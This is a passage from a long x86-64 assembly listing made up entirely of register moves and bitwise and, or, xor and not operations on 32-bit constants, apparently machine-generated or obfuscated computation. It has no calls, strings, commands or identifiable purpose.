and ecx, 0xc607c3d4
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc2034380
xor ecx, 0x39f83c2b
mov edi, edx
not edi
mov esi, edi
and esi, 0x41c947c
and edx, 0xfbe36b83
or edx, esi
or edi, ecx
and ecx, 0x41c947c
and ebx, 0xfbe36b83
or ebx, ecx
xor ebx, edx
not edi
or edi, ebx
mov ecx, eax
not ecx
mov edx, r13d
xor edx, ecx
and edx, r13d
mov ebx, r13d
not ebx
and ebx, 0xad3b8944
and r13d, 0x52c476bb
or r13d, ebx
and ecx, 0xad3b8944
and eax, 0x52c476bb
or eax, ecx
xor eax, r13d
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, edi
xor edx, 0x2ad82a5c
and edx, edi
not edi
and edi, 0x2ad82a5c
mov ebx, eax
mov ecx, eax
xor ecx, 0x2ad82a5c
and ecx, eax
not eax
and eax, 0x389d0a1b
and ebx, 0xc762f5e4
or ebx, eax
mov eax, ebx
xor eax, 0xc762f5e4
xor ebx, 0x12452047
and ebx, eax
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
or ecx, eax
not r14d
or ebp, r8d
mov eax, r14d
and eax, ebp
xor ebp, r14d
or ebp, eax
mov edx, ebp
not edx
mov eax, edx
and eax, 0x7ef9d804
and ebp, 0x810627fb
or ebp, eax
mov ebx, ebp
xor ebx, 0x82
xor ebp, 0x4600000
or edx, 0xc6200aa
mov eax, edx
not eax
or ebp, 0x22853504
and ebp, 0x26e7352c
and ebx, 0x8000082
or ebx, ebp
and edx, 0x26e7352c
and eax, 0xd118ca51
or eax, edx
xor eax, ebx
mov edx, eax
not edx
and edx, 0xf39dff55
and eax, 0xc6200aa
or eax, edx
mov edx, eax
not edx
and eax, 0x281ef98
and edx, 0xfd7e1067
or edx, eax
mov r9d, edx
xor r9d, 0x88761061
xor edx, 0x281ef98
mov ebp, ecx
not ebp
mov ebx, ebp
or ebx, edx
not ebx
and ebp, 0x7508220e
and ecx, 0x8af7ddf1
or ecx, ebp
and edx, 0x7508220e
and r9d, 0x8af7ddf1
or r9d, edx
xor r9d, ecx
mov ecx, ebx
and ecx, r9d
xor r9d, ebx
or r9d, ecx
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, r9d
mov edx, r8d
and edx, ecx
xor ecx, r8d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf1286072
and ecx, 0xed79f8d
or ecx, edx
mov ebp, ecx
xor ebp, 0xed79f8d
xor ecx, 0x21004032
and ecx, 0x21d6423e
mov edx, ebp
and edx, 0xde29bdc1
or edx, ecx
xor edx, 0x2d6ba84
and ebp, 0x2300f8ba
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x1b176792
and ebp, 0xe4e8986d
or ebp, ecx
mov ecx, ebp
xor ecx, 0xe4e8986d
mov edx, ebp
xor edx, 0x13066602
mov ebx, r8d
and ebx, 0xce729942
mov eax, r9d
and eax, 0x318d66bd
or eax, ebx
xor eax, 0x128d9e07
mov esi, eax
xor esi, r8d
and esi, eax
and edx, 0xb7cef64f
xor ebp, 0x3ad0d6d1
and ebp, ecx
mov eax, ecx
and eax, 0x483109b0
or eax, edx
mov r11d, eax
xor r11d, 0x483109b0
mov edx, esi
mov edi, esi
xor edi, 0xde384ebc
and edi, esi
not esi
and esi, 0x3de91207
and edx, 0xc216edf8
or edx, esi
mov ecx, edx
xor ecx, 0xc216edf8
xor eax, 0x69f6b8f3
and eax, r11d
xor edx, 0xe3d15cbb
and edx, ecx
mov esi, eax
not esi
mov ebx, ebp
not ebx
mov r14d, esi
and r14d, 0x7b21f34e
and eax, 0x84de0cb1
or eax, r14d
or esi, ebx
and ebx, 0x7b21f34e
and ebp, 0x84de0cb1
or ebp, ebx
xor ebp, eax
not esi
or esi, ebp
mov ebp, edx
not ebp
mov eax, edi
not eax
mov ebx, ebp
and ebx, 0xe196b18
and edx, 0xf1e694e7
or edx, ebx
or ebp, eax
and eax, 0xe196b18
and edi, 0xf1e694e7
or edi, eax
xor edi, edx
not ebp
or ebp, edi
mov eax, esi
not eax
and eax, ebp
not ebp
and ebp, esi
or ebp, eax
mov eax, r11d
and eax, ecx
xor ecx, r11d
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7073dcd8
and ecx, 0x8f8c2327
or ecx, eax
mov eax, ecx
xor eax, 0x4882024
mov ebx, ebp
not ebx
xor ecx, 0x7073dcd8
mov edx, ebx
and edx, 0xeb554393
and ebp, 0x14aabc6c
or ebp, edx
or ebx, ecx
and ecx, 0xeb554393
and eax, 0x14aabc6c
or eax, ecx
xor eax, ebp
not ebx
or ebx, eax
mov eax, ebx
mov edx, ebx
xor edx, 0x2300f8ba
and edx, ebx
not ebx
and ebx, 0x200b838
and eax, 0x21004082
or eax, ebx
xor eax, 0x21004082
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x3e0b49cd
and edx, 0xc1f4b632
or edx, eax
mov eax, edx
not eax
and eax, 0xc1f4b632
and edx, 0x3e0b49cd
or edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xd6edd555
and eax, 0x65b6f85
and edx, 0xf9a4907a
or edx, eax
xor edx, 0xd0b6bad0
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x4b716826
and edx, 0xb48e97d9
or edx, ecx
mov ebp, edx
xor ebp, 0x10080180
xor edx, 0x40606006
or eax, 0x5d7c6997
mov ecx, eax
not ecx
or edx, 0x82828420
and edx, 0xc6e6e437
and ebp, 0x19180980
or ebp, edx
and eax, 0xc6e6e437
and ecx, 0x20011248
or ecx, eax
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0xa2839668
and ecx, 0x5d7c6997
or ecx, eax
mov r14d, ecx
not r14d
and ecx, 0xc0e07037
and r14d, 0x3f1f8fc8
or r14d, ecx
mov edi, r14d
xor edi, 0xc0e07037
xor r14d, 0x3f1f8fc8
mov eax, r8d
and eax, 0x1b4a01c0
mov ecx, r9d
and ecx, 0x40112e16
or ecx, eax
xor ecx, 0x40112e16
mov edx, r9d
xor edx, 0x5b5b2fd6
and edx, r9d
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x7249057c
and edx, 0x8db6fa83
or edx, eax
and r8d, 0xe1177aa8
and r9d, 0x1ee88557
or r9d, r8d
mov eax, r9d
xor eax, 0xc088404
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xb3f12973
and edx, 0x4c0ed68c
or edx, ebp
xor r9d, 0xa1112820
and r9d, 0xb3f12973
and eax, 0x4c0ed68c
or eax, r9d
xor eax, edx
xor ecx, eax
and ecx, eax
mov r9d, edi
and r9d, r14d
mov eax, edi
and eax, r9d
xor r9d, edi
or r9d, eax
mov ebp, ecx
not ebp
mov eax, ecx
or eax, 0xd4e078b3
mov ebx, eax
not ebx
mov edx, ebp
and edx, 0x440a17c7
and ecx, 0xbbf5e838
or ecx, edx
xor ecx, 0x92f6fd36
or ecx, ebp
or ebp, 0x2b1f874c
mov r12d, ebp
not r12d
and eax, 0x109d5e53
and ebx, 0x2b02810c
or ebx, eax
and ebp, 0x109d5e53
and r12d, 0xc46020a0
or r12d, ebp
xor r12d, ebx
mov eax, r12d
not eax
and eax, 0x9ccc25c
and r12d, 0xf6333da3
or r12d, eax
mov r11d, r12d
xor r11d, 0xdd2cbaef
mov r8d, r9d
not r8d
mov edx, r8d
and edx, 0xd6fceaf1
mov eax, r9d
and eax, 0x2903150e
or eax, edx
not eax
or eax, r8d
mov esi, eax
not esi
mov edx, edi
and edx, 0xa3b4eafe
and r14d, 0x5c4b1501
or r14d, edx
xor r14d, 0x7548000f
or r14d, edi
mov edx, r14d
not edx
xor r12d, 0x22d34510
mov edi, r12d
and edi, 0x9adb4758
mov ebx, r11d
and ebx, 0x6524b8a7
or ebx, edi
xor ebx, 0xb3d85256
or ebx, r12d
mov ebp, eax
and ebp, 0xeed4352a
xor eax, 0x822f13af
and eax, esi
mov edi, esi
and edi, 0x112bcad5
or edi, ebp
mov r15d, edi
xor r15d, 0x112bcad5
mov esi, r14d
and esi, 0x37d5895e
and edx, 0xc82a76a1
or edx, esi
mov esi, edx
mov ebp, edi
xor ebp, 0x9304d97a
and ebp, r15d
xor edx, 0x37d5895e
mov r13d, ebp
and r13d, eax
xor eax, ebp
mov ebp, edx
or ebp, 0x822f13af
or eax, r13d
mov r13d, ebp
not r13d
or r14d, 0x7dd0ec50
and ebp, 0xc31b6b45
and r13d, 0x3cc08410
or r13d, ebp
mov ebp, r14d
not ebp
and r14d, 0xc31b6b45
and ebp, 0x2410aa
or ebp, r14d
mov r14d, ebx
not r14d
xor ebp, r13d
mov r13d, eax
not r13d
and r13d, 0xf0bc6e1d
and eax, 0xf4391e2
or eax, r13d
mov r13d, ebp
not r13d
and r13d, 0xf0bc6e1d
and ebp, 0xf4391e2
or ebp, r13d
mov r13d, ecx
not r13d
xor esi, 0x8082400
xor ebp, eax
xor edi, 0xeed4352a
mov eax, edi
and eax, 0xd17353e1
and r15d, 0x2e8cac1e
or r15d, eax
or edi, edx
and edx, 0xd17353e1
and esi, 0x2e8cac1e
or esi, edx
xor esi, r15d
not edi
or edi, esi
not edi
mov eax, ebp
and eax, edi
xor edi, ebp
or edi, eax
and r13d, ebx
or ebx, ecx
not ebx
and ecx, r14d
or ecx, r13d
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov r14d, eax
or r14d, edi
not edi
mov esi, r14d
not esi
and eax, 0x60619d36
and ecx, 0x9f9e62c9
or ecx, eax
xor ecx, 0x60619d36
or ecx, edi
mov eax, ecx
not eax
mov edi, r14d
and edi, 0xa6810c10
and esi, 0x597ef3ef
or esi, edi
or r14d, ecx
and ecx, 0xa6810c10
and eax, 0x597ef3ef
or eax, ecx
xor eax, esi
not r14d
or r14d, eax
mov eax, r9d
xor eax, r12d
and eax, r9d
and r8d, 0x6aee7049
and r9d, 0x95118fb6
or r9d, r8d
and r12d, 0x6aee7049
and r11d, 0x95118fb6
or r11d, r12d
xor r11d, r9d
mov ecx, eax
not ecx
mov ebp, r11d
not ebp
mov ebx, ecx
and ebx, 0xd701e8a1
and eax, 0x28fe175e
or eax, ebx
or ecx, ebp
and ebp, 0xd701e8a1
and r11d, 0x28fe175e
or r11d, ebp
xor r11d, eax
not ecx
or ecx, r11d
mov eax, ecx
not eax
and ecx, 0x60ea3c3c
and eax, 0x9f15c3c3
or eax, ecx
mov ecx, eax
xor ecx, 0x2a183c
xor eax, 0x1a1543c2
and ecx, 0x852a983d
and eax, 0x7ad567c2
or eax, ecx
mov r11d, eax
xor r11d, 0x84200800
xor eax, 0x28c106c0
and eax, 0x29cb96fd
and r11d, 0xd6346902
or r11d, eax
mov eax, r11d
xor eax, 0xd6346902
xor r11d, 0x29cb96fd
mov edx, r14d
xor edx, r11d
and edx, r14d
and r11d, r14d
not r14d
and r14d, eax
or r11d, r14d
mov eax, edx
and eax, r11d
xor r11d, edx
or r11d, eax
mov r8d, r11d
not r8d
mov edx, r11d
or edx, 0x8630178d
mov ebp, edx
not ebp
mov ebx, r8d
or ebx, 0x79cfe872
mov eax, ebx
not eax
and edx, 0xdf564cdd
and ebp, 0x2089a022
or ebp, edx
and ebx, 0xdf564cdd
and eax, 0x201300
or eax, ebx
xor eax, ebp
mov edx, eax
not edx
and edx, 0xcbdabaab
and eax, 0x34254554
or eax, edx
mov edx, eax
xor edx, 0x5e2a500
xor eax, 0x90110248
and eax, 0xd8190a6e
and edx, 0x27e6f591
or edx, eax
mov eax, edx
xor eax, 0x4e22500
and eax, 0x5ceb2d0e
xor edx, 0x80100260
and edx, 0xa314d2f1
or edx, eax
mov eax, edx
xor eax, 0x5ceb2d0e
and eax, edx
mov edx, r8d
and edx, 0xa314d2f1
mov ecx, r11d
and ecx, 0x5ceb2d0e
or ecx, edx
mov ebp, ecx
xor ebp, r8d
and ebp, ecx
mov ecx, eax
not ecx
mov edx, ebp
not edx
and ebp, ecx
or ecx, edx
not ecx
and edx, eax
or edx, ebp
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x5ceb2d0e
and ecx, edx
not edx
and edx, 0xc2a2102
and eax, 0x50c10c0c
or eax, edx
xor eax, 0x50c10c0c
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
xor eax, 0x34116dc2
and eax, ecx
not ecx
and ecx, 0x34116dc2
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xcbee923d
and eax, 0x34116dc2
or eax, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x3f3a609b
and eax, 0xc0c59f64
or eax, ecx
mov r9d, eax
xor r9d, 0xc0c59f64
mov ecx, eax
xor ecx, 0x4873a2b6
and ecx, r9d
or ebx, 0x7749c22d
mov edi, ebx
not edi
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xb44d7d4c
and ecx, 0x4bb282b3
or ecx, ebp
or edx, ebx
and ebx, 0xb44d7d4c
and edi, 0x8b20092
or edi, ebx
xor edi, ecx
not edx
or edx, edi
mov ecx, edx
and ecx, 0x88b63dd2
not edx
and edx, 0x7749c22d
or edx, ecx
xor eax, 0x2838209b
and eax, 0x283c25bb
mov ecx, r9d
and ecx, 0xd7c3da44
or ecx, eax
xor ecx, 0xd7c3da44
or ecx, r9d
mov eax, ecx
not eax
mov esi, edx
not esi
mov ebp, esi
and ebp, 0xaa3a5327
and edx, 0x55c5acd8
or edx, ebp
or esi, ecx
and ecx, 0xaa3a5327
and eax, 0x55c5acd8
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov eax, esi
not eax
and esi, eax
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov r9d, esi
not r9d
mov eax, r8d
and eax, 0xf9b74a72
mov ecx, r11d
and ecx, 0x648b58d
or ecx, eax
mov edx, ecx
xor edx, 0xa18d
xor ecx, 0x99810262
and ecx, 0x9fc91662
and edx, 0x6036e99d
or edx, ecx
mov eax, edx
xor eax, 0x1f481460
xor edx, 0x4012209d
and edx, 0xc093229f
and eax, 0x3f6cdd60
or eax, edx
mov ecx, eax
xor ecx, 0x1d640100
and r8d, 0xe04866ee
and r11d, 0x1fb79911
or r11d, r8d
mov edx, r11d
xor edx, 0x1d370100
xor eax, 0xc093229f
xor r11d, 0xe04866ee
mov ebp, eax
and ebp, 0xe288fef7
and ecx, 0x1d770108
or ecx, ebp
or eax, r11d
and r11d, 0xe288fef7
and edx, 0x1d770108
or edx, r11d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1d73bd6a
and eax, 0xe28c4295
or eax, ecx
mov r12d, eax
xor r12d, 0xe28c4295
xor eax, 0x1d73bd6a
mov ecx, r9d
and ecx, 0x63860160
mov edx, esi
and edx, 0x1020e08a
or edx, ecx
xor edx, 0x1020e08a
mov ecx, esi
xor ecx, 0x73a6e1ea
and ecx, esi
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6bef3198
and ecx, 0x9410ce67
or ecx, edx
mov r8d, ecx
xor r8d, 0xe7b62f8d
mov edx, r12d
mov r14d, r12d
mov ebp, eax
and ebp, 0xa38f7006
and r12d, 0x5c708ff9
or r12d, ebp
not r12d
or r12d, eax
and eax, 0xa02113b
and edx, 0x15100040
or edx, eax
xor edx, 0x15100040
and r14d, 0xe0edee84
or r14d, edx
mov eax, r14d
not eax
and eax, 0xb7990395
and r14d, 0x4866fc6a
or r14d, eax
mov r11d, r14d
xor r11d, 0x5774ed11
xor ecx, 0x1849d072
mov edx, ecx
and edx, 0xf14ecdf5
mov ebp, r8d
and ebp, 0xeb1320a
or ebp, edx
xor ebp, 0x52c1bdf3
or ebp, ecx
mov edx, r9d
and edx, 0x968b2b01
and esi, 0x6974d4fe
or esi, edx
xor esi, 0x35045b07
xor r9d, esi
and r9d, esi
mov edx, r9d
and r9d, ebp
not ebp
xor r14d, 0xa88b12ee
mov esi, r14d
and esi, 0x5ec4c6c9
mov eax, r11d
and eax, 0xa13b3936
or eax, esi
mov esi, eax
xor esi, 0xa13b3936
xor eax, 0x10008089
and eax, 0x3109b09b
mov edi, esi
and edi, 0xcef64f64
or edi, eax
xor edi, 0x6d793f62
and esi, 0x5c708ff9
or esi, edi
mov eax, esi
not eax
and eax, 0xe739d49a
and esi, 0x18c62b65
or esi, eax
mov r15d, esi
xor r15d, 0x18c62b65
xor esi, 0xe739d49a
mov edi, r12d
not edi
not edx
mov eax, ebp
xor eax, edx
and eax, ebp
and edx, ebp
or edx, r9d
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
and edi, esi
or esi, r12d
not esi
and r12d, r15d
or r12d, edi
mov eax, esi
and eax, r12d
xor r12d, esi
or r12d, eax
mov eax, edx
not eax
mov edi, eax
or edi, 0x54563ff
mov ebp, edi
not ebp
mov ebx, r12d
not ebx
and ebx, 0x54563ff
and r12d, 0xfaba9c00
or r12d, ebx
or edx, 0x52108400
and edx, 0x525186be
and eax, 0x5046141
or eax, edx
and edi, 0x525186be
and ebp, 0xa8aa1800
or ebp, edi
xor ebp, eax
mov eax, ebp
not eax
and eax, 0x2cc38e05
and ebp, 0xd33c71fa
or ebp, eax
mov eax, r12d
not eax
and eax, 0x2cc38e05
and r12d, 0xd33c71fa
or r12d, eax
xor r12d, ebp
and r11d, ecx
or ecx, r14d
mov eax, ecx
not eax
and r14d, r8d
or r14d, r11d
mov edx, r14d
not edx
mov ebp, ecx
and ebp, 0x443fb681
and eax, 0xbbc0497e
or eax, ebp
or ecx, edx
and edx, 0x443fb681
and r14d, 0xbbc0497e
or r14d, edx
xor r14d, eax
not ecx
or ecx, r14d
mov eax, ecx
not eax
and ecx, 0x4393ed7b
and eax, 0xbc6c1284
or eax, ecx
mov ecx, eax
xor ecx, 0x1910021
xor eax, 0x3c641200
and eax, 0x7e66ff5a
and ecx, 0x819900a5
or ecx, eax
mov esi, ecx
xor esi, 0x8800a0
xor ecx, 0x78263348
and ecx, 0xf937334d
and esi, 0x6c8ccb2
or esi, ecx
mov eax, esi
xor eax, 0x8088b0
mov ecx, r12d
mov ebp, r12d
xor ebp, 0x8f5c6707
and ebp, r12d
not r12d
xor esi, 0xf937334d
or ecx, 0x70a398f8
mov edi, ecx
not edi
mov edx, esi
and edx, 0x8f5c6707
and eax, 0x70a398f8
or eax, edx
mov edx, ebp
not edx
mov ebx, ecx
and ebx, 0x93617dda
and edi, 0xc1c0205
or edi, ebx
or ecx, edx
and edx, 0x93617dda
and ebp, 0x6c9e8225
or ebp, edx
xor ebp, edi
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x819afc67
and ecx, 0x7e650398
or ecx, ebp
mov edx, eax
not edx
and edx, 0x819afc67
and eax, 0x7e650398
or eax, edx
xor eax, ecx
mov ecx, r12d
and ecx, esi
xor esi, r12d
or esi, ecx
mov edx, esi
not edx
mov r15d, eax
not r15d
mov ecx, r15d
and ecx, 0x469f2ac4
and eax, 0xb960d53b
or eax, ecx
or r15d, esi
and esi, 0x469f2ac4
and edx, 0xb960d53b
or edx, esi
xor edx, eax
not r15d
or r15d, edx
mov r11d, r15d
not r11d
mov ecx, r11d
and ecx, 0x327b3fa8
mov eax, r15d
and eax, 0xcd84c057
or eax, ecx
mov ecx, eax
xor ecx, 0x44048045
xor eax, 0x327b3fa8
mov esi, r11d
and esi, r15d
mov r14d, esi
not r14d
mov ebp, eax
and ebp, 0xbb927232
and ecx, 0x446d8dcd
or ecx, ebp
mov ebp, r14d
and ebp, 0xbb927232
mov edx, esi
and edx, 0x446d8dcd
or edx, ebp
xor edx, ecx
or eax, r14d
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x736d5902
and eax, 0x8c92a6fd
or eax, ecx
mov ebx, eax
xor ebx, 0x8c92a6fd
xor eax, 0x736d5902
mov ecx, r11d
and ecx, 0x75cff594
mov edx, r15d
and edx, 0x8a300a6b
or edx, ecx
mov ecx, edx
xor ecx, 0x8a300a6b
xor edx, 0x34c94180
and edx, 0x36f949c3
mov ebp, ecx
and ebp, 0xc906b63c
or ebp, edx
xor ebp, 0xc906b63c
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xa4f887c3
and ebp, 0x5b07783c
or ebp, ecx
mov ecx, ebp
xor ecx, 0x5b07783c
and ecx, ebx
xor ebp, 0xa4f887c3
mov edx, eax
xor edx, ebp
and edx, eax
and ebp, eax
or ebp, ecx
mov ebx, edx
not ebx
mov eax, ebp
not eax
mov ecx, ebx
and ecx, 0xf96c0a06
and edx, 0x693f5f9
or edx, ecx
or ebx, eax
and eax, 0xf96c0a06
and ebp, 0x693f5f9
or ebp, eax
xor ebp, edx
not ebx
or ebx, ebp
mov r9d, ebx
not r9d
mov r8d, r9d
mov eax, r9d
and eax, 0x14e40127
mov ecx, ebx
and ecx, 0xe2024840
or ecx, eax
xor ecx, 0xe2024840
mov r12d, ebx
xor r12d, 0xf6e64967
and r12d, ebx
mov eax, ecx
and eax, r12d
xor r12d, ecx
or r12d, eax
mov eax, r12d
not eax
and eax, 0x919b698
and r12d, 0xf6e64967
or r12d, eax
mov r13d, r12d
and r12d, r9d
mov ecx, r9d
and ecx, 0x22088492
mov edx, ebx
xor edx, 0x2208e4da
and edx, ebx
mov ebp, ebx
not r13d
mov r9d, ebx
xor r9d, r13d
and r9d, ebx
and r13d, ebx
and ebx, 0x6048
or ebx, ecx
xor ebx, 0x6048
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
and r8d, 0xcbb5716b
and ebp, 0x344a8e94
or ebp, r8d
mov ecx, ebp
xor ecx, 0x344a8e94
xor ebp, 0xcbb5716b
and ebp, edx
not edx
and ecx, edx
or ebp, ecx
not ebp
or ebp, edx
mov ebx, ebp
not ebx
and r11d, 0xa9db20d7
and r15d, 0x5624df28
or r15d, r11d
mov ecx, r15d
xor ecx, 0x224d808
xor r15d, 0xa9db20d7
mov edx, r15d
and edx, 0xd58127a7
and ecx, 0x2a7ed858
or ecx, edx
or r15d, r14d
and r14d, 0xd58127a7
and esi, 0x2a7ed858
or esi, r14d
xor esi, ecx
not r15d
or r15d, esi
mov eax, r15d
not eax
mov esi, r15d
or esi, 0x46b19a96
mov edx, esi
not edx
mov edi, eax
or edi, 0xb94e6569
mov ecx, edi
not ecx
and esi, 0x58bc0b4
and edx, 0xb8442549
or edx, esi
and edi, 0x58bc0b4
and ecx, 0x42301a02
or ecx, edi
xor ecx, edx
mov edx, ecx
not edx
and edx, 0x9eb5020a
and ecx, 0x614afdf5
or ecx, edx
mov edx, ecx
xor edx, 0x3a084040
and eax, 0x2208e4da
xor r15d, 0xddf71b25
or r15d, eax
mov eax, r15d
not eax
and eax, 0xfa6eccba
and r15d, 0x5913345
or r15d, eax
mov eax, r15d
xor eax, 0x5910341
xor ecx, 0x5f383b9
xor r15d, 0xfa6eccba
mov edi, ecx
and edi, 0xc0063c86
and edx, 0x3ff9c379
or edx, edi
or ecx, r15d
and r15d, 0xc0063c86
and eax, 0x3ff9c379
or eax, r15d
xor eax, edx
not ecx
or ecx, eax
mov edi, ecx
xor edi, 0xe33ad1ad
and edi, ecx
not ecx
and ecx, 0xe33ad1ad
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, edi
not eax
and eax, 0x1cc52e52
and edi, 0xe33ad1ad
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xad6fe61
and edi, 0xf529019e
or edi, ecx
xor edi, 0xf529019e
or edi, eax
mov r8d, edi
not r8d
mov ecx, ebp
and ecx, edi
mov r14d, ebp
xor r14d, edi
or r14d, ecx
mov edx, r14d
not edx
mov ecx, ebp
and ecx, 0x4fa4210c
and ebx, 0x10010860
or ebx, ecx
mov ecx, ebx
xor ecx, 0x10000840
xor ebx, 0x9ae110
or ebp, 0x5fa5296c
mov eax, ebp
not eax
mov r11d, edi
and r11d, 0x2aa9327b
xor edi, 0xa05ad693
and edi, r8d
and r8d, 0xd556cd84
or r8d, r11d
mov r11d, r8d
xor r11d, 0xd556cd84
xor r8d, 0x750c1b17
and r8d, r11d
and ebx, 0x9be130
and ecx, 0x5f24084c
or ecx, ebx
and ebp, 0x9be130
and eax, 0xa0401683
or eax, ebp
xor eax, ecx
mov ecx, r8d
and ecx, edi
xor edi, r8d
or edi, ecx
mov ecx, eax
not ecx
and ecx, edi
not edi
and edi, eax
or edi, ecx
mov eax, r14d
and eax, 0x3e681918
and edx, 0xc197e6e7
or edx, eax
mov r8d, edx
xor r8d, 0x84a647
mov r11d, edi
not r11d
xor edx, 0x3e681918
mov ebx, edx
or ebx, 0xb17af4cb
mov ebp, ebx
not ebp
or r14d, 0x4e850b34
mov esi, r14d
not esi
mov eax, edi
xor eax, 0x4e850b34
mov ecx, eax
and ecx, r11d
and eax, edi
and ebx, 0xdfe01372
and ebp, 0x50804
or ebp, ebx
and r14d, 0xdfe01372
and esi, 0x201ae489
or esi, r14d
xor esi, ebp
mov ebx, ecx
not ebx
mov ebp, eax
not ebp
mov r14d, ebx
and r14d, 0x891fa862
and ecx, 0x76e0579d
or ecx, r14d
or ebx, ebp
and ebp, 0x891fa862
and eax, 0x76e0579d
or eax, ebp
xor eax, ecx
not ebx
or ebx, eax
mov eax, esi
not eax
and eax, ebx
not ebx
and ebx, esi
or ebx, eax
mov eax, edx
and eax, 0xfb5350b0
and r8d, 0x4acaf4f
or r8d, eax
or edx, edi
and edi, 0xfb5350b0
and r11d, 0x4acaf4f
or r11d, edi
xor r11d, r8d
not edx
or edx, r11d
mov eax, edx
not eax
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xacda4243
and ebx, 0x5325bdbc
or ebx, ebp
or ecx, edx
and edx, 0xacda4243
and eax, 0x5325bdbc
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x800020
mov ebp, ecx
and ebp, 0x40a815
or ebp, edx
xor ebp, 0x40a815
mov edx, ecx
xor edx, 0xc0a835
and edx, ecx
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x6121f808
and edx, 0x9ede07f7
or edx, ebp
mov ebp, edx
xor ebp, 0x94048400
xor edx, 0x20a00008
and ebp, 0xd5049425
and edx, 0x20b82008
or edx, ebp
mov ebp, edx
xor ebp, 0x20800008
xor edx, 0xdf47dff7
and eax, 0xf5bcb42d
xor ecx, 0xa434bd2
or ecx, eax
mov eax, ecx
not eax
mov ebx, ecx
xor ebx, 0xa4c0d59c
and ebx, ecx
mov edi, edx
and edi, ecx
xor ecx, edx
and edx, 0x5b3f2a63
and ebp, 0xa480940c
or ebp, edx
and eax, 0xa4c0d59c
mov edx, ebx
and edx, eax
xor eax, ebx
or eax, edx
mov edx, ebp
not edx
and edx, 0xd5d4d1b8
and ebp, 0x2a292c05
or ebp, edx
mov edx, eax
not edx
and edx, 0xd5d6d3fa
and eax, 0x2a292c05
or eax, edx
xor eax, ebp
or ecx, edi
mov edx, ecx
not edx
and edx, 0x89cdaf40
and ecx, 0x763250bf
or ecx, edx
mov ebp, ecx
xor ebp, 0x56020010
mov edx, eax
not edx
xor ecx, 0x89cdaf40
mov ebx, edx
and ebx, 0x28f0ffef
and eax, 0xd70f0010
or eax, ebx
or edx, ecx
and ecx, 0x28f0ffef
and ebp, 0xd70f0010
or ebp, ecx
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
mov ecx, edx
xor ecx, 0x284baf08
and ecx, edx
not edx
and edx, 0x20018c00
and eax, 0x84a2308
or eax, edx
mov edx, eax
xor edx, 0x8400100
xor eax, 0xf7b5dcf7
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x871b22ac
and edx, 0x28408d00
or edx, ebx
or eax, ebp
and ebp, 0x871b22ac
and ecx, 0x78e4dd53
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
or r13d, r12d
mov ecx, r9d
and ecx, r13d
xor r13d, r9d
or r13d, ecx
mov ebp, r13d
not ebp
mov edx, r13d
and edx, 0x26b9ce91
mov ecx, ebp
and ecx, 0xd946316e
or ecx, edx
mov edx, ecx
xor edx, 0x24804a80
xor ecx, 0x8000100e
and edx, 0x7dc66be0
and ecx, 0x8239941f
or ecx, edx
mov ebx, ecx
xor ebx, 0x8239941f
and ebp, 0x80a5ecfb
and r13d, 0x7f5a1304
or r13d, ebp
mov ebp, r13d
xor ebp, 0x7f5a1304
xor r13d, 0x80a5ecfb
or r13d, ebp
mov ebp, r13d
not ebp
and ebp, 0xd78a7838
and r13d, 0x287587c7
or r13d, ebp
mov ebp, r13d
xor ebp, 0x20758607
xor r13d, 0xd78a7838
mov edx, ebx
xor edx, r13d
and edx, ebx
xor ecx, 0x588269c0
and ecx, 0x588269d8
and ebx, 0xa77d9627
or ebx, ecx
and r13d, 0x588269d8
and ebp, 0xa77d9627
or ebp, r13d
xor ebp, ebx
mov ecx, edx
not ecx
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xc9c6df40
and edx, 0x363920bf
or edx, edi
or ecx, ebx
and ebx, 0xc9c6df40
and ebp, 0x363920bf
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov ebx, ecx
not ebx
and ecx, 0x3714d7a0
and ebx, 0xc8eb285f
or ebx, ecx
mov r9d, eax
not r9d
mov ebp, r9d
